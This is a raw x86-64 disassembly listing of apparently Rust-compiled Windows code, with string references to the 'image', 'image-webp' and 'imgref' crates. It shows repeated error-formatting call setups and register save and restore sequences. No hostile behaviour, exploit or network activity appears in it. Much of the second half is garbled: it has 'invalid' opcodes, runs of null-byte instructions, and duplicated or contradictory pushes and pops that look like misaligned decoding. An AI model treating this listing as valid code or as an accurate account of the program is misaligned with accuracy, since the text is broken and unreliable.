mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x29c0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x2230]
mov qword [rax], rcx
lea rdx, [rbp + 0x18e0]
lea rcx, [rbp + 0x1e30]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x1b10]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x10c0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x14e0]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x2750]
xor ecx, ecx
call fcn.1401c7fd0
jmp 0x1400505bb
lea rax, [rbp + 0x14e0]
mov rcx, qword [rbp + 0x2b38]
mov qword [rax], rcx
lea rdx, [rbp + 0x10c0]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x29c0]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x12e0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x14e0]
mov qword [rax], rcx
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x1080]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x29c0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x14e0]
mov qword [rax], rsi
lea rdx, [rbp + 0x2638]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x13e0]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x1d10]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x14e0]
mov qword [rax], r8
lea rdx, [rbp + 0x1e20]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x2984]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x2980]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x2230]
xor ecx, ecx
call fcn.1401c7fd0
jmp 0x1400505bb
lea rax, [rbp + 0x14e0]
mov qword [rax], rcx
lea rdx, [rbp + 0x18e0]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x1b10]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x10c0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x14e0]
mov qword [rax], rcx
lea rdx, [rbp + 0x2750]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x10c0]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x18e0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x14e0]
mov qword [rax], rcx
lea rdx, [rbp + 0x2750]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x10c0]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x18e0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
jmp 0x14005026d
lea rax, [rbp + 0x14e0]
mov rcx, qword [rbp + 0x2b38]
mov qword [rax], rcx
lea rdx, [rbp + 0x1080]
lea rcx, [rbp + 0x10]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x2990]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp - 0x30]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x1e30]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x2230]
xor ecx, ecx
call fcn.1401c7fd0
lea r9, [rbp + 0x10]
and qword [r9], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.1.2_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x14e0]
lea r8, [rbp + 0x1e30]
xor ecx, ecx
call fcn.1401c7fd0
jmp 0x1400505bb
lea rax, [rbp + 0x2230]
mov qword [rax], rbx
lea rdx, [rbp + 0x18e0]
lea rcx, [rbp + 0x1e30]
mov qword [rcx], rdx
lea r8, [fcn.140024bb0]
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r8
lea rax, [rbp + 0x1b10]
mov qword [rcx + 0x20], rax
lea rax, [0x140029230]
mov qword [rcx + 0x28], rax
lea r8, [rbp + 0x10c0]
mov qword [rcx + 0x30], r8
mov qword [rcx + 0x38], rax
lea rax, [0x1401fb660]
lea r9, [rbp + 0x14e0]
mov qword [r9], rax
mov qword [r9 + 8], 5
mov qword [r9 + 0x10], rcx
mov qword [r9 + 0x18], 4
and qword [r9 + 0x20], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_0.25.1_srcio_free_functions.rs
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x2750]
xor ecx, ecx
call fcn.1401c7fd0
jmp 0x1400505bb
lea rcx, str.assertion_failed:_stride___0assertion_failed:_stride___width_as_usizeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fimgref_1.10.1_srclib.rs
lea r8, [0x140249908]
push 0x1c
pop rdx
call fcn.1401c6f30
jmp 0x1400505bb
ud2
movaps xmmword [rsp + 0x50], xmm13
push rax
movapd xmmword [rsp + 0x60], xmm12
and al, 0x60
movapd xmmword [rsp + 0x70], xmm11
movaps xmmword [rsp + 0x70], xmm3
movapd xmmword [rsp + 0x80], xmm10
and al, 0x80
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x90], xmm1
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
invalid
movapd xmmword [rsp + 0x90], xmm9
and al, 0x90
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmmword [rsp + 0xa0], xmm8
movapd xmmword [rsp + 0xa0], xmm8
and al, 0xa0
add byte [rax], al
add byte [rsi + 0xf], ah
movapd xmmword [rsp + 0xb0], xmm7
movapd xmmword [rsp + 0xb0], xmm7
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
movapd xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
sub dword [rsp + 0xc0], esi
add byte [rax], al
add byte [rax + 0x294bd], al
xchg esp, eax
add al, byte [rax]
add byte [rax], al
cmp byte [rbp + 0x294], 0
xchg esp, eax
add al, byte [rax]
add byte [rax], al
je 0x140055ff7
or dword [rax - 0x73], ecx
movabs r8, 0x9585c6fffe1564e8
mov eax, 0xfe1564e8
inc esi
invalid
xchg ebp, eax
lea rcx, [rbp - 0x48]
mov eax, 0xfe1564e8
call fcn.14003755b
invalid
inc esi
test dword [rbp + 0x1000002], edx
add byte [rax], al
invalid
mov byte [rbp + 0x295], 1
add al, byte [rax]
add byte [rax], al
add dword [rdi], ecx
add byte [rcx], al
movaps xmm6, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], dh
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xb0], bh
add byte [rax], al
movaps xmm7, xmmword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movaps xmm8, xmmword [rsp + 0xa0]
sub byte [rsp + 0xa0], al
movabs al, byte [0x248c280f44000000]
add byte [rax], al
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0x90]
mov word [rax + rdx*4], fs
nop
add byte [rax], al
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rdi + rcx + 0x28], al
movaps xmm10, xmmword [rsp + 0x80]
sub byte [rsp + 0x80], dl
add byte [rax], al
movaps xmm11, xmmword [rsp + 0x70]
pop rsp
and al, 0x70
movaps xmm12, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], ah
movaps xmm13, xmmword [rsp + 0x50]
movaps xmm5, xmmword [rsp + 0x50]
movaps xmm14, xmmword [rsp + 0x40]
movaps xmm15, xmmword [rsp + 0x30]
and al, 0x30
and al, 0x30
add rsp, 0xd8
fadd dword [rax]
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0xd8
sub esp, 0xd8
sub esp, 0xd8
add byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
lea rbp, [rdx + 0x80]
movapd xmmword [rsp + 0x30], xmm15
movaps xmmword [rsp + 0x30], xmm7
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x30], xmm7
movapd xmmword [rsp + 0x40], xmm14
and al, 0x40
movapd xmmword [rsp + 0x50], xmm13
sub dword [rsp + 0x50], ebp
movapd xmmword [rsp + 0x60], xmm12
movapd xmmword [rsp + 0x70], xmm11
movapd xmmword [rsp + 0x80], xmm10
movapd xmmword [rsp + 0x90], xmm9
movapd xmmword [rsp + 0xa0], xmm8
movapd xmmword [rsp + 0xb0], xmm7
movapd xmmword [rsp + 0xc0], xmm6
cmp byte [rbp + 0x295], 0
je case.0x14002e130.375
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
call fcn.1400373d1
mov byte [rbp + 0x2a7], 0
movapd xmm6, xmmword [rsp + 0xc0]
movapd xmm7, xmmword [rsp + 0xb0]
movapd xmm8, xmmword [rsp + 0xa0]
add byte [rsi + 0x44], ah
movaps xmm1, xmmword [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
invalid
add byte [rsi + 0x44], ah
movaps xmm1, xmmword [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
invalid
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm2, xmmword [rsp + 0x80]
xchg esp, eax
and al, 0x80
add byte [rax], al
invalid
movapd xmm10, xmmword [rsp + 0x80]
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm3, xmmword [rsp + 0x70]
pop rsp
and al, 0x70
movapd xmm11, xmmword [rsp + 0x70]
pop rsp
and al, 0x70
movapd xmm12, xmmword [rsp + 0x60]
movaps xmm4, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], ah
movapd xmm13, xmmword [rsp + 0x50]
movaps xmm13, xmmword [rsp + 0x50]
and al, 0x50
push rax
movapd xmm14, xmmword [rsp + 0x40]
sub byte [rsp + 0x40], dh
je case.0x1400573f7.359
movapd xmm15, xmmword [rsp + 0x30]
movapd xmm15, xmmword [rsp + 0x30]
movaps xmm15, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x30]
jl 0x140056160
xor byte [rax - 0x7f], cl
add rsp, 0xd8
invalid
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
mov byte [rbp + 0x2a7], 0
cmpsd dword [rsi], dword [rdi]
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
movapd xmm6, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], dh
mov ah, 0x24
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
movapd xmm7, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], bh
mov esp, 0xb024
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm8, xmmword [rsp + 0xa0]
movaps xmm0, xmmword [rsp + 0xa0]
sub byte [rsp + 0xa0], al
test byte [rax + riz*4], ah
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm9, xmmword [rsp + 0x90]
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0x90]
sub byte [rsp + 0x90], cl
mov word [rax + rdx*4], fs
and al, 0x90
nop
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm2, xmmword [rsp + 0x80]
sub byte [rsp + 0x80], dl
movapd xmm10, xmmword [rsp + 0x80]
movaps xmm10, xmmword [rsp + 0x80]
sub byte [rsp + 0x80], dl
xchg esp, eax
and al, 0x80
add byte [rax], al
invalid
add byte [rax], 0
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm3, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], bl
movapd xmm11, xmmword [rsp + 0x70]
movaps xmm11, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], bl
pop rsp
and al, 0x70
jo 0x1400561f6
movapd xmm12, xmmword [rsp + 0x60]
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm4, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], ah
and al, 0x60
movapd xmm13, xmmword [rsp + 0x50]
movaps xmm13, xmmword [rsp + 0x50]
movaps xmm5, xmmword [rsp + 0x50]
and al, 0x50
push rax
movapd xmm14, xmmword [rsp + 0x40]
je 0x1400561c7
and al, 0x40
movapd xmm15, xmmword [rsp + 0x30]
movapd xmm15, xmmword [rsp + 0x30]
movaps xmm15, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], bh
xor byte [rax - 0x7f], cl
invalid
add rsp, 0xd8
add esp, 0xd8
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
adc byte [rbp + 0x41], dl
push rdi
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd8
in al, dx
fadd dword [rax]
add byte [rax], al
invalid
in al, dx
fadd dword [rax]
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0x44], ah
movapd xmmword [rsp + 0x30], xmm15
add byte [rax], al
movapd xmmword [rsp + 0x30], xmm15
movaps xmmword [rsp + 0x30], xmm15
sub dword [rsp + 0x30], edi
and al, 0x30
xor byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x40], xmm6
sub dword [rsp + 0x40], esi
movapd xmmword [rsp + 0x40], xmm14
movaps xmmword [rsp + 0x40], xmm14
sub dword [rsp + 0x40], esi
je 0x14005620f
movapd xmmword [rsp + 0x50], xmm13
movapd xmmword [rsp + 0x50], xmm13
movaps xmmword [rsp + 0x50], xmm13
movaps xmmword [rsp + 0x50], xmm5
push rax
movapd xmmword [rsp + 0x60], xmm12
sub dword [rsp + 0x60], esp
and al, 0x60
and al, 0x60
movapd xmmword [rsp + 0x70], xmm11
movaps xmmword [rsp + 0x70], xmm3
sub dword [rsp + 0x70], ebx
movapd xmmword [rsp + 0x80], xmm10
movaps xmmword [rsp + 0x80], xmm10
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x90], xmm1
nop
add byte [rax], al
invalid
movapd xmmword [rsp + 0x90], xmm9
movaps xmmword [rsp + 0x90], xmm9
mov word [rax + rdx*4], fs
nop
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0xa0], xmm8
movapd xmmword [rsp + 0xa0], xmm8
movaps xmmword [rsp + 0xa0], xmm8
movabs al, byte [0x24bc290f66000000]
mov al, 0
add byte [rax], al
movapd xmmword [rsp + 0xb0], xmm7
movapd xmmword [rsp + 0xc0], xmm6
cmp byte [rbp + 0x2a7], 0
je 0x1400562b4
mov rcx, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
call fcn.1400374f2
movapd xmm6, xmmword [rsp + 0xc0]
movapd xmm7, xmmword [rsp + 0xb0]
movapd xmm8, xmmword [rsp + 0xa0]
movapd xmm9, xmmword [rsp + 0x90]
movapd xmm10, xmmword [rsp + 0x80]
movapd xmm11, xmmword [rsp + 0x70]
movapd xmm12, xmmword [rsp + 0x60]
movapd xmm13, xmmword [rsp + 0x50]
movapd xmm14, xmmword [rsp + 0x40]
movapd xmm15, xmmword [rsp + 0x30]
and al, 0x30
add rsp, 0xd8
fadd dword [rax]
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
movapd xmm6, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], dh
mov ah, 0x24
rol byte [rax], 0
invalid
add byte [rax], al
add byte [rsi + 0xf], ah
sub byte [rsp + 0xb0], bh
mov esp, 0xb024
invalid
movapd xmm7, xmmword [rsp + 0xb0]
mov esp, 0xb024
and al, 0xb0
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm0, xmmword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
invalid
movapd xmm8, xmmword [rsp + 0xa0]
test byte [rax + riz*4], ah
and al, 0xa0
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm1, xmmword [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
invalid
movapd xmm9, xmmword [rsp + 0x90]
mov word [rax + rdx*4], fs
and al, 0x90
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm2, xmmword [rsp + 0x80]
xchg esp, eax
and al, 0x80
add byte [rax], al
add byte [rax], al
invalid
movapd xmm10, xmmword [rsp + 0x80]
xchg esp, eax
and al, 0x80
add byte [rax], al
invalid
add byte [rsi + 0x44], ah
movaps xmm3, xmmword [rsp + 0x70]
pop rsp
and al, 0x70
movapd xmm11, xmmword [rsp + 0x70]
pop rsp
and al, 0x70
movapd xmm12, xmmword [rsp + 0x60]
movaps xmm4, xmmword [rsp + 0x60]
movapd xmm13, xmmword [rsp + 0x50]
and al, 0x50
movapd xmm14, xmmword [rsp + 0x40]
and al, 0x40
movapd xmm15, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], bh
add rsp, 0xd8
add esp, 0xd8
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0xd8
add byte [rax], al
add byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
add byte [rax], al
add byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rsi + 0x44], ah
invalid
invalid
movapd xmmword [rsp + 0x30], xmm15
movaps xmmword [rsp + 0x30], xmm7
and al, 0x30
movapd xmmword [rsp + 0x40], xmm14
movapd xmmword [rsp + 0x50], xmm13
movapd xmmword [rsp + 0x60], xmm12
and al, 0x60
movapd xmmword [rsp + 0x70], xmm11
movapd xmmword [rsp + 0x80], xmm10
add byte [rax], al
invalid
sub dword [rsp + 0x80], edx
movapd xmmword [rsp + 0x90], xmm9
movapd xmmword [rsp + 0xa0], xmm8
movdqa xmmword [rsp + 0xb0], xmm7
movq qword [rsp + 0xb0], mm7
movapd xmmword [rsp + 0xc0], xmm6
mov rcx, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
call fcn.14013307a
mov rcx, qword [rbp + 0x1f8]
mov rdx, qword [rbp + 0x200]
add byte [rax], al
add byte [rax], al
call fcn.1400248c6
mov rcx, qword [rbp + 0x210]
mov rdx, qword [rbp + 0x218]
add al, byte [rax]
invalid
sbb byte [rdx], al
add byte [rax], al
call fcn.140174a51
mov rcx, qword [rbp + 0x228]
sub byte [rdx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
xchg ebp, eax
mov rdx, qword [rbp + 0x230]
mov edx, dword [rbp + 0x230]
xor byte [rdx], al
add byte [rax], al
add al, ch
js 0x1400563bd
call fcn.140174a51
adc dword [rax], eax
add byte [rax - 0x75], cl
lea eax, [rax + 2]
add al, byte [rax]
invalid
mov rcx, qword [rbp + 0x240]
add al, byte [rax]
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0x248]
xchg ebp, eax
add al, byte [rax]
add al, ch
call fcn.140174a51
invalid
invalid
call fcn.140174a51
movapd xmm6, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], dh
rol byte [rax], 0
add byte [rsi + 0xf], ah
movaps xmm7, xmmword [rsp + 0xb0]
movapd xmm7, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xb0]
add byte [rax], al
add byte [rsi + 0x44], ah
invalid
invalid
movapd xmm8, xmmword [rsp + 0xa0]
movaps xmm0, xmmword [rsp + 0xa0]
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmm9, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0x90]
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmm2, xmmword [rsp + 0x80]
movapd xmm10, xmmword [rsp + 0x80]
movapd xmm11, xmmword [rsp + 0x70]
movapd xmm12, xmmword [rsp + 0x60]
movapd xmm13, xmmword [rsp + 0x50]
movapd xmm14, xmmword [rsp + 0x40]
movapd xmm15, xmmword [rsp + 0x30]
movaps xmm15, xmmword [rsp + 0x30]
movaps xmm15, xmmword [rsp + 0x30]
jl case.0x14003f54f.153
xor byte [rax - 0x7f], cl
invalid
add rsp, 0xd8
fadd dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd8
in al, dx
fadd dword [rax]
add byte [rax], al
in al, dx
fadd dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x30], xmm7
sub dword [rsp + 0x30], edi
movapd xmmword [rsp + 0x30], xmm15
movaps xmmword [rsp + 0x30], xmm15
sub dword [rsp + 0x30], edi
jl case.0x140041c42.146
and al, 0x30
xor byte [rsi + 0x44], ah
movapd xmmword [rsp + 0x40], xmm14
movaps xmmword [rsp + 0x40], xmm14
movaps xmmword [rsp + 0x40], xmm6
sub dword [rsp + 0x40], esi
je 0x1400564a3
movapd xmmword [rsp + 0x50], xmm13
movapd xmmword [rsp + 0x50], xmm13
movaps xmmword [rsp + 0x50], xmm13
movaps xmmword [rsp + 0x50], xmm5
and al, 0x50
push rax
movapd xmmword [rsp + 0x60], xmm12
sub dword [rsp + 0x60], esp
and al, 0x60
and al, 0x60
invalid
movapd xmmword [rsp + 0x70], xmm11
movaps xmmword [rsp + 0x70], xmm11
movaps xmmword [rsp + 0x70], xmm3
sub dword [rsp + 0x70], ebx
pop rsp
and al, 0x70
movapd xmmword [rsp + 0x80], xmm10
movaps xmmword [rsp + 0x80], xmm10
movaps xmmword [rsp + 0x80], xmm2
and al, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmmword [rsp + 0x90], xmm9
movaps xmmword [rsp + 0x90], xmm9
movaps xmmword [rsp + 0x90], xmm1
mov word [rax + rdx*4], fs
nop
add byte [rax], al
add byte [rsi + 0x44], ah
movapd xmmword [rsp + 0xa0], xmm8
movaps xmmword [rsp + 0xa0], xmm8
movaps xmmword [rsp + 0xa0], xmm0
movabs al, byte [0x24bc290f66000000]
mov al, 0
add byte [rax], al
add byte [rsi + 0xf], ah
movapd xmmword [rsp + 0xb0], xmm7
movaps xmmword [rsp + 0xb0], xmm7
sub dword [rsp + 0xb0], edi
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
invalid
add byte [rax], al
movapd xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
sub dword [rsp + 0xc0], esi
mov ah, 0x24
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
